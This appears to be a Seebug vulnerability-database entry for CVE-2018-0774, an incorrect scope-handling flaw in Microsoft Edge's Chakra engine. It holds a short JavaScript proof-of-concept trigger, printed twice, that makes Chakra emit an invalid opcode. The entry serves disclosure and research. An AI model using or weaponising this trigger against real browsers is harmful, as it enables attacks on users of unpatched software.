Lucene search

K
seebugRootSSV:97095
HistoryJan 22, 2018 - 12:00 a.m.

Microsoft Edge: Chakra: Incorrect scope handling(CVE-2018-0774)

2018-01-2200:00:00
Root
www.seebug.org
22

0.96 High

EPSS

Percentile

99.3%

PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.


                                                (function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();